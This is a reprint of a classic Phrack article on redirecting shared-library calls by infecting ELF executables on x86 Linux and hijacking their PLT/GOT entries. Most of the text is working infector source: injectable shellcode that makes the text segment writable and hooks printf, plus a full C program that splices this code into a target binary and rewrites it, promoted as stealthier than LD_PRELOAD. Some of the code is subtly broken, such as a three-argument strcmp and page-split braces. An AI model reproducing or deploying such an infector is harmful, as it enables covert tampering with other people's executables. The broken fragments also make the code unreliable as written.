

SHARED LIBRARY CALL REDIRECTION VIA ELF PLT INFECTION -- P H R A C K M A G A Z I N E -- Volume 0xa Issue 0x38

Pubblicato da **Silvio Cesare** il 05/01/2000

Livello **avanzato**

Introduzione

-----| INTRODUCTION

This article describes a method of shared library call redirection using ELF infection that redirects the Procedure Linkage Table (PLT) of an executable allowing redirection to be resident outside of the infected executable. This has the advantage over the LD_PRELOAD redirection technique in that no environment variables are modified, thus remaining more hidden than previous techniques. An implementation is provided for x86/Linux. For those interested please visit the following URLs:

<http://virus.beergrave.net> (The Unix Virus Mailing List)

<http://www.big.net.au/~silvio> (My page)

Iniziamo

-----| THE PROCEDURE LINKAGE TABLE (PLT)

From the ELF specifications... (not necessary to read but gives more detail than the follow-up text)

" Procedure Linkage Table

Much as the global offset table redirects position-independent address calculations to absolute locations, the procedure linkage table redirects position-independent function calls to absolute locations. The link editor cannot resolve execution transfers (such as function calls) from one executable or shared object to another. Consequently, the link editor arranges to have the program transfer control to entries in the procedure linkage table. On the SYSTEM V architecture, procedure linkage tables reside in shared text, but they use addresses in the private global offset table.

The dynamic linker determines the destinations' absolute addresses and modifies the global offset table's memory image accordingly. The dynamic linker thus can redirect the entries without compromising the position-independence and sharability of the program's text. Executable files and shared object files have separate procedure linkage tables.

+ Figure 2-12: Absolute Procedure Linkage Table {*}

```
.PLT0:pushl got_plus_4
jmp *got_plus_8
nop; nop
nop; nop
.PLT1:jmp *name1_in_GOT
pushl $offset
jmp .PLT0@PC
.PLT2:jmp *name2_in_GOT
pushl $offset
jmp .PLT0@PC
...
```

+ Figure 2-13: Position-Independent Procedure Linkage Table

```
.PLT0:pushl 4(%ebx)
jmp *8(%ebx)
nop; nop
nop; nop
.PLT1:jmp *name1@GOT(%ebx)
pushl $offset
jmp .PLT0@PC
.PLT2:jmp *name2@GOT(%ebx)
pushl $offset
jmp .PLT0@PC
...
```

NOTE: As the figures show, the procedure linkage table instructions use different operand addressing modes for absolute code and for position-independent code. Nonetheless, their interfaces to the dynamic linker are the same.

Following the steps below, the dynamic linker and the program ``cooperate" to resolve symbolic references through the procedure linkage table and the global offset table.

1. When first creating the memory image of the program, the dynamic linker sets the second and the third entries in the global offset table to special values. Steps below explain more about these values.
2. If the procedure linkage table is position-independent, the address of the global offset table must reside in %ebx. Each shared

object file in the process image has its own procedure linkage table, and control transfers to a procedure linkage table entry only from within the same object file. Consequently, the calling function is responsible for setting the global offset table base register before calling the procedure linkage table entry.

3. For illustration, assume the program calls `name1`, which transfers control to the label `.PLT1`.

4. The first instruction jumps to the address in the global offset table entry for `name1`. Initially, the global offset table holds the address of the following `pushl` instruction, not the real address of `name1`.

5. Consequently, the program pushes a relocation offset (`offset`) on the stack. The relocation offset is a 32-bit, non-negative byte offset into the relocation table. The designated relocation entry will have type `R_386_JMP_SLOT`, and its offset will specify the global offset table entry used in the previous `jmp` instruction. The relocation entry also contains a symbol table index, thus telling the dynamic linker what symbol is being referenced, `name1` in this case.

6. After pushing the relocation offset, the program then jumps to `.PLT0`, the first entry in the procedure linkage table. The `pushl` instruction places the value of the second global offset table entry (`got_plus_4` or `4(%ebx)`) on the stack, thus giving the dynamic linker one word of identifying information. The program then jumps to the address in the third global offset table entry (`got_plus_8` or `8(%ebx)`), which transfers control to the dynamic linker.

7. When the dynamic linker receives control, it unwinds the stack, looks at the designated relocation entry, finds the symbol's value, stores the "real" address for `name1` in its global offset table entry, and transfers control to the desired destination.

8. Subsequent executions of the procedure linkage table entry will transfer directly to `name1`, without calling the dynamic linker a second time. That is, the `jmp` instruction at `.PLT1` will transfer to `name1`, instead of "falling through" to the `pushl` instruction. The `LD_BIND_NOW` environment variable can change dynamic linking behavior. If its value is non-null, the dynamic linker evaluates procedure linkage table entries before transferring control to the program. That is, the dynamic linker processes relocation entries of type `R_386_JMP_SLOT` during process initialization. Otherwise, the dynamic linker evaluates procedure linkage table entries lazily, delaying symbol resolution and relocation until the first execution of a table entry.

NOTE: Lazy binding generally improves overall application performance, because unused symbols do not incur the dynamic linking overhead. Nevertheless, two situations make lazy binding undesirable for some applications. First, the initial reference to a shared object function takes longer than subsequent calls, because the dynamic linker intercepts the call to resolve the symbol. Some applications cannot tolerate this unpredictability. Second, if an error occurs and the dynamic linker cannot resolve the symbol, the dynamic linker will terminate the program. Under lazy binding, this might occur at arbitrary times. Once again, some applications cannot tolerate this unpredictability. By turning off lazy binding, the dynamic linker forces the failure to occur during process initialization, before the application receives control.

" To explain in more detail...

Shared library calls are treated special in executable objects because they cannot be linked to the executable at compile time. This is due to the fact that shared libraries are not available to the executable until runtime. The PLT was designed to handle such cases like these. The PLT holds the code responsible for calling the dynamic linker to locate these desired routines.

Instead of calling the real shared library routine in the executable, the executable calls an entry in the PLT. It is then up to the PLT to resolve the symbol it represents and do the right thing.

From the ELF specifications...

```
" .PLT1: jmp *name1_in_GOT
pushl $offset
jmp .PLT0@PC
"
```

This is the important info. This is the routine called instead of the library call. `name1_in_GOT` originally starts off pointing to the following `pushl` instruction. The offset represents a relocation (see the ELF specifications) offset which has a reference to the symbol the library call represents. This is used for the final `jmp` which jumps to the dynamic linker. The dynamic linker then changes `name1_in_GOT` to point directly to the routine thus avoiding dynamic linking a second time.

This summarizes the importance of the PLT in library lookups. It can be noted that we can change `name_in_GOT` to point to our own code, thus replacing library calls. If we save the state of the GOT before replacing, we can call the old library routine and thus redirect any library call.

-----| ELF INFECTION

To inject a redirected library call into an executable requires new code to be added to an executable. The actual procedure for ELF infection will not be described here as it has been covered very well in previous articles (<http://www.big.net.au/~silvio> – Unix Viruses/Unix ELF Parasites and Virus).

For completeness Data Infection is used for injection, and it is slightly buggy not being strip safe.

-----| PLT REDIRECTION

The algorithm at the entry point code is as follows...

- * mark the text segment writeable
- * save the PLT(GOT) entry
- * replace the PLT(GOT) entry with the address of the new lib call

The algorithm in the new library call is as follows...

- * do the payload of the new lib call
- * restore the original PLT(GOT) entry

* call the lib call
 * save the PLT(GOT) entry again (if its changed)
 * replace the PLT(GOT) entry with the address of the new lib call

To explain more how PLT redirection is done, the simplest method is to describe the sample code supplied. This code is injected into an executable and becomes the new entry point of the program. The library call that is redirected is printf, the new code prints a message before the printf supplied string.

—
 ok, save the registers and so forth...

```
"\x60" /* pusha */
```

mark the text segment as rwx. We do this so we can modify the PLT which is in the text segment and is normally not writeable.

```
"\xb8\x7d\x00\x00\x00" /* movl $125,%eax */
"\xbb\x00\x80\x04\x08" /* movl $text_start,%ebx */
"\xb9\x00\x40\x00\x00" /* movl $0x4000,%ecx */
"\xba\x07\x00\x00\x00" /* movl $7,%edx */
"\xcd\x80" /* int $0x80 */
```

we save the old library call's PLT(GOT) reference and replace it with the address of the new library call which immediately follows the entry point code.

```
"\xa1\x00\x00\x00\x00" /* movl plt,%eax */
"\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */
"\xc7\x05\x00\x90\x04" /* movl $newcall,plt */
"\x08\x00\x00\x00\x00"
```

restore the registers and so forth...

```
"\x61" /* popa */
jump back to the executables original entry point.
```

```
"\xbd\x00\x80\x04\x08" /* movl $entry,%ebp */
"\xff\xe5" /* jmp *%ebp */
the new library call (printf).
```

```
/* newcall: */
get the address of the string to write.
```

```
"\xeb\x38" /* jmp msg_jump */
/* msg_call */
"\x59" /* popl %ecx */
and write that string using the Linux system call
"\xb8\x04\x00\x00\x00" /* movl $4,%eax */
"\xbb\x01\x00\x00\x00" /* movl $1,%ebx */
"\xba\x0e\x00\x00\x00" /* movl $14,%edx */
"\xcd\x80" /* int $0x80 */
restore the old library call into the PLT(GOT) so we can call it
"\xb8\x00\x00\x00\x00" /* movl $oldcall,%eax */
"\xa3\x00\x00\x00\x00" /* movl %eax,plt */
get the original printf argument
"\xff\x75\xfc" /* pushl -4(%ebp) */
call the original library call
"\xff\xd0" /* call *%eax */
```

save the original library call from the PLT(GOT). Remember this might change after a call to the library, so we save each time. This actually only changes after the first call, but we don't bother too much.

```
"\xa1\x00\x00\x00\x00" /* movl plt,%eax */
"\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */
make the PLT(GOT) point back to the new library call
"\xc7\x05\x00\x00\x00" /* movl $newcall,plt */
"\x08\x00\x00\x00\x00"
clean up the arguments
"\x58" /* popl %eax */
restore the registers and so forth...
```

```
"\x61" /* popa */
and return from the function
"\xc3" /* ret */
```

get the address of the string to write.

```
/* msg_jump */
"\xe8\xc4\xff\xff" /* call msg_call */
the string
"INFECTED Host "
```

-----| FUTURE DIRECTIONS

It is possible to infect a shared library directly, and this is sometimes more desirable because the redirection stays resident for all executables.

Also possible, is an even more stealth version of the PLT redirection described by modifying the process image directly thus the host executable stays unmodified. This however has the disadvantage that the redirection stays active only for the life of a single process.

-----| CONCLUSION

This article has described a method of redirecting shared library calls in an executable by directly modifying the PLT of the executable in question using ELF infection techniques. It is more stealthy than previous techniques using LD_PRELOAD and has large possibilities.

-----| CODE

```
<+> p56/PLT-INFECTIOIN/PLT-infector.c !fda3c047
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <elf.h>

#define PAGE_SIZE 4096

static char v[] = "\x60" /* pusha */
"\xb8\x7d\x00\x00\x00" /* movl $125,%eax */
"\xbb\x00\x80\x04\x08" /* movl $text_start,%ebx */
"\xb9\x00\x40\x00\x00" /* movl $0x4000,%ecx */
"\xba\x07\x00\x00\x00" /* movl $7,%edx */
"\xcd\x80" /* int $0x80 */

"\xa1\x00\x00\x00\x00" /* movl plt,%eax */
"\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */
"\xc7\x05\x00\x90\x04" /* movl $newcall,plt */
"\x08\x00\x00\x00\x00"

"\x61" /* popa */

"\xbd\x00\x80\x04\x08" /* movl $entry,%ebp */
"\xff\xe5" /* jmp *%ebp */

/* newcall: */

"\xeb\x37" /* jmp msg_jump */
/* msg_call */
"\x59" /* popl %ecx */
"\xb8\x04\x00\x00\x00" /* movl $4,%eax */
"\xbb\x01\x00\x00\x00" /* movl $1,%ebx */
"\xba\x0e\x00\x00\x00" /* movl $14,%edx */
"\xcd\x80" /* int $0x80 */

"\xb8\x00\x00\x00\x00" /* movl $oldcall,%eax */
"\xa3\x00\x00\x00\x00" /* movl %eax,plt */
"\xff\x75\xfc" /* pushl -4(%ebp) */
"\xff\xd0" /* call *%eax */
"\xa1\x00\x00\x00\x00" /* movl plt,%eax */
"\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */
"\xc7\x05\x00\x00\x00" /* movl $newcall,plt */
"\x08\x00\x00\x00\x00"

"\x58" /* popl %eax */

"\xc3" /* ret */

/* msg_jump */
```

```

"\xe8\xc4\xff\xff\xff" /* call msg_call */

"INFECTED Host "
;

char *get_virus(void)
{
    return v;
}

int init_virus(int plt, int offset, int text_start, int data_start, int data_memsz, int entry)
{
    int code_start = data_start + data_memsz;
    int oldcall = code_start + 72;
    int newcall = code_start + 51;

    *(int *)&v[7] = text_start;
    *(int *)&v[24] = plt;
    *(int *)&v[29] = oldcall;
    *(int *)&v[35] = plt;
    *(int *)&v[39] = newcall;
    *(int *)&v[45] = entry;
    *(int *)&v[77] = plt;
    *(int *)&v[87] = plt;
    *(int *)&v[92] = oldcall;
    *(int *)&v[98] = plt;
    *(int *)&v[102] = newcall;
    return 0;
}

int copy_partial(int fd, int od, unsigned int len)
{
    char idata[PAGE_SIZE];
    unsigned int n = 0;
    int r;

    while (n + PAGE_SIZE < len) {
        if (read(fd, idata, PAGE_SIZE) != PAGE_SIZE) {
            perror("read");
            return -1;
        }

        if (write(od, idata, PAGE_SIZE) < 0) {
            perror("write");
            return -1;
        }

        n += PAGE_SIZE;
    }

    r = read(fd, idata, len - n);
    if (r < 0) {
        perror("read");
        return -1;
    }

    if (write(od, idata, r) < 0) {
        perror("write");
        return -1;
    }

    return 0;
}

void do_elf_checks(Elf32_Ehdr *ehdr)
{
    if (strcmp(ehdr->e_ident, ELF_MAG, SELF_MAG)) {
        fprintf(stderr, "File not ELF\n");
        exit(1);
    }

    if (ehdr->e_type != ET_EXEC) {
        fprintf(stderr, "ELF type not ET_EXEC or ET_DYN\n");
        exit(1);
    }
}

```

```

}

if (ehdr->e_machine != EM_386 && ehdr->e_machine != EM_486) {
    fprintf(stderr, "ELF machine type not EM_386 or EM_486\n");
    exit(1);
}

if (ehdr->e_version != EV_CURRENT) {
    fprintf(stderr, "ELF version not current\n");
    exit(1);
}
}

int do_dyn_syntab(int fd, Elf32_Shdr *shdr, Elf32_Shdr *shdrp, const char *sh_function)
{
    Elf32_Shdr *strtabhdr = &shdr[shdrp->sh_link];
    char *string;
    Elf32_Sym *sym, *symp;
    int i;

    string = (char *)malloc(strtabhdr->sh_size);
    if (string == NULL) {
        perror("malloc");
        exit(1);
    }

    if (lseek(fd, strtabhdr->sh_offset, SEEK_SET) != strtabhdr->sh_offset) {
        perror("lseek");
        exit(1);
    }

    if (read(fd, string, strtabhdr->sh_size) != strtabhdr->sh_size) {
        perror("read");
        exit(1);
    }

    sym = (Elf32_Sym *)malloc(shdrp->sh_size);
    if (sym == NULL) {
        perror("malloc");
        exit(1);
    }

    if (lseek(fd, shdrp->sh_offset, SEEK_SET) != shdrp->sh_offset) {
        perror("lseek");
        exit(1);
    }

    if (read(fd, sym, shdrp->sh_size) != shdrp->sh_size) {
        perror("read");
        exit(1);
    }

    symp = sym;

    for (i = 0; i < shdrp->sh_size; i += sizeof(Elf32_Sym)) {
        if (!strcmp(&string[symp->st_name], sh_function)) {
            free(string);
            return symp - sym;
        }
        ++symp;
    }

    free(string);
    return -1;
}

int get_sym_number(int fd, Elf32_Ehdr *ehdr, Elf32_Shdr *shdr, const char *sh_function)
{
    Elf32_Shdr *shdrp = shdr;
    int i;

    for (i = 0; i < ehdr->e_shnum; i++) {
        if (shdrp->sh_type == SHT_DYNSYM) {
            return do_dyn_syntab(fd, shdr, shdrp, sh_function);
        }
    }
}

```

```

    }
    ++shdrp;
}

void do_rel(int *plt, int *offset, int fd, Elf32_Shdr *shdr, int sym)
{
    Elf32_Rel *rel, *relp;
    int i;

    rel = (Elf32_Rel *)malloc(shdr->sh_size);
    if (rel == NULL) {
        perror("malloc");
        exit(1);
    }

    if (lseek(fd, shdr->sh_offset, SEEK_SET) != shdr->sh_offset) {
        perror("lseek");
        exit(1);
    }

    if (read(fd, rel, shdr->sh_size) != shdr->sh_size) {
        perror("read");
        exit(1);
    }

    relp = rel;

    for (i = 0; i < shdr->sh_size; i += sizeof(Elf32_Rel)) {
        if (ELF32_R_SYM(relp->r_info) == sym) {
            *plt = relp->r_offset;
            *offset = relp - rel;
            printf("offset %i\n", *offset);
            return;
        }
        ++relp;
    }

    *plt = -1;
    *offset = -1;
}

void find_rel(int *plt, int *offset, int fd, const char *string, Elf32_Ehdr *ehdr,
Elf32_Shdr *shdr, const char *sh_function)
{
    Elf32_Shdr *shdrp = shdr;
    int sym;
    int i;

    sym = get_sym_number(fd, ehdr, shdr, sh_function);
    if (sym < 0) {
        *plt = -1;
        *offset = -1;
        return;
    }

    for (i = 0; i < ehdr->e_shnum; i++) {
        if (!strcmp(&string[shdrp->sh_name], ".rel.plt")) {
            do_rel(plt, offset, fd, shdrp, sym);
            return;
        }
        ++shdrp;
    }
}

void infect_elf(char *host, char *(*get_virus)(void), int (*init_virus)(int, int, int, int,
int, int), int len, const char *sh_function)
{
    Elf32_Ehdr ehdr;
    Elf32_Shdr *shdr, *strtabhdr;
    Elf32_Phdr *phdr;
    char *pdata, *sdata;
    int move = 0;
    int od, fd;

```

```

int evaddr, text_start = -1, plt;
int sym_offset;
int bss_len, addlen;
int offset, pos, oshoff;
int plen, slen;
int i;
char null = 0;
struct stat stat;
char *string;
char tempname[8] = "vXXXXXX";

fd = open(host, O_RDONLY);
if (fd < 0) {
    perror("open");
    exit(1);
}

/* read the ehdr */

if (read(fd, &ehdr, sizeof(ehdr)) < 0) {
    perror("read");
    exit(1);
}

do_elf_checks(&ehdr);

/* modify the virus so that it knows the correct reentry point */

printf("host entry point: %x\n", ehdr.e_entry);

/* allocate memory for phdr tables */

pdata = (char *)malloc(plen = sizeof(*phdr)*ehdr.e_phnum);
if (pdata == NULL) {
    perror("malloc");
    exit(1);
}

/* read the phdr's */

if (lseek(fd, ehdr.e_phoff, SEEK_SET) < 0) {
    perror("lseek");
    exit(1);
}

if (read(fd, pdata, plen) != plen) {
    perror("read");
    exit(1);
}
phdr = (Elf32_Phdr *)pdata;

/* allocated memory if required to accomodate the shdr tables */

sdata = (char *)malloc(slen = sizeof(*shdr)*ehdr.e_shnum);
if (sdata == NULL) {
    perror("malloc");
    exit(1);
}

/* read the shdr's */

if (lseek(fd, oshoff = ehdr.e_shoff, SEEK_SET) < 0) {
    perror("lseek");
    exit(1);
}

if (read(fd, sdata, slen) != slen) {
    perror("read");
    exit(1);
}

strtabhdr = &((Elf32_Shdr *)sdata)[ehdr.e_shstrndx];

string = (char *)malloc(strtabhdr->sh_size);

```

```

if (string == NULL) {
    perror("malloc");
    exit(1);
}

if (lseek(fd, strtabhdr->sh_offset, SEEK_SET) != strtabhdr->sh_offset) {
    perror("lseek");
    exit(1);
}

if (read(fd, string, strtabhdr->sh_size) != strtabhdr->sh_size) {
    perror("read");
    exit(1);
}

find_rel(&plt, &sym_offset, fd, string, &ehdr, (Elf32_Shdr *)sdata, sh_function);
if (plt < 0) {
    printf("No dynamic function: %s\n", sh_function);
    exit(1);
}

for (i = 0; i < ehdr.e_phnum; i++) {
    if (phdr->p_type == PT_LOAD) {
        if (phdr->p_offset == 0) {
            text_start = phdr->p_vaddr;
        } else {
            if (text_start < 0) {
                fprintf(stderr, "No text segment??\n");
                exit(1);
            }
        }
    }

    /* is this the data segment ? */
    #ifdef DEBUG
        printf("Found PT_LOAD segment...\n");
        printf("p_vaddr: 0x%x\n p_offset: %i\n p_filesz: %i\n p_memsz: %i\n \n", phdr->p_vaddr,
phdr->p_offset, phdr->p_filesz, phdr->p_memsz);
    #endif
    offset = phdr->p_offset + phdr->p_filesz;
    bss_len = phdr->p_memsz - phdr->p_filesz;
    if (init_virus != NULL)
        init_virus(plt, sym_offset, text_start, phdr->p_vaddr, phdr->p_memsz, ehdr.e_entry);
    ehdr.e_entry = phdr->p_vaddr + phdr->p_memsz;
    break;
}
}
++phdr;
}

/* update the shdr's to reflect the insertion of the virus */

addlen = len + bss_len;
shdr = (Elf32_Shdr *)sdata;
for (i = 0; i < ehdr.e_shnum; i++) {
    if (shdr->sh_offset >= offset) {
        shdr->sh_offset += addlen;
    }
    ++shdr;
}

/*
update the phdr's to reflect the extention of the data segment (to
allow virus insertion)
*/

phdr = (Elf32_Phdr *)pdata;
for (i = 0; i < ehdr.e_phnum; i++) {
    if (phdr->p_type != PT_DYNAMIC) {
        if (move) {
            phdr->p_offset += addlen;
        } else if (phdr->p_type == PT_LOAD && phdr->p_offset) {
            /* is this the data segment ? */
            phdr->p_filesz += addlen;
            phdr->p_memsz += addlen;
            #ifdef DEBUG

```

```

    printf("phdr->filesz: %i\n", phdr->p_filesz);
    printf("phdr->memsz: %i\n", phdr->p_memsz);
#endif
    move = 1;
}
}
++phdr;
}

/* update ehdr to reflect new offsets */
if (ehdr.e_shoff >= offset) ehdr.e_shoff += addlen;
if (ehdr.e_phoff >= offset) ehdr.e_phoff += addlen;

if (fstat(fd, &stat) < 0) {
    perror("fstat");
    exit(1);
}

/* write the new virus */
if (mktemp(tempname) == NULL) {
    perror("mktemp");
    exit(1);
}

od = open(tempname, O_WRONLY | O_CREAT | O_EXCL, stat.st_mode);
if (od < 0) {
    perror("open");
    exit(1);
}

if (lseek(fd, 0, SEEK_SET) < 0) {
    perror("lseek");
    goto cleanup;
}

if (write(od, &ehdr, sizeof(ehdr)) < 0) {
    perror("write");
    goto cleanup;
}

if (write(od, pdata, plen) < 0) {
    perror("write");
    goto cleanup;
}
free(pdata);

if (lseek(fd, pos = sizeof(ehdr) + plen, SEEK_SET) < 0) {
    perror("lseek");
    goto cleanup;
}

if (copy_partial(fd, od, offset - pos) < 0) goto cleanup;

for (i = 0; i < bss_len; i++) write(od, &null, 1);

if (write(od, get_virus(), len) != len) {
    perror("write");
    goto cleanup;
}

if (copy_partial(fd, od, oshoff - offset) < 0) goto cleanup;

if (write(od, sdata, slen) < 0) {
    perror("write");
    goto cleanup;
}
free(sdata);

if (lseek(fd, pos = oshoff + slen, SEEK_SET) < 0) {
    perror("lseek");
    goto cleanup;
}

if (copy_partial(fd, od, stat.st_size - pos) < 0) goto cleanup;

```

```
if (rename(tempname, host) < 0) {
    perror("rename");
    exit(1);
}

if (fchown(od, stat.st_uid, stat.st_gid) < 0) {
    perror("chown");
    exit(1);
}

free(string);
return;

cleanup:
    unlink(tempname);
    exit(1);
}

int main(int argc, char *argv[])
{
    if (argc != 2) {
        fprintf(stderr, "usage: infect-data-segment filename\n");
        exit(1);
    }

    infect_elf(argv[1], get_virus, init_virus, sizeof(v), "printf");
    exit(0);
}
<-->

|EOF|-----|
```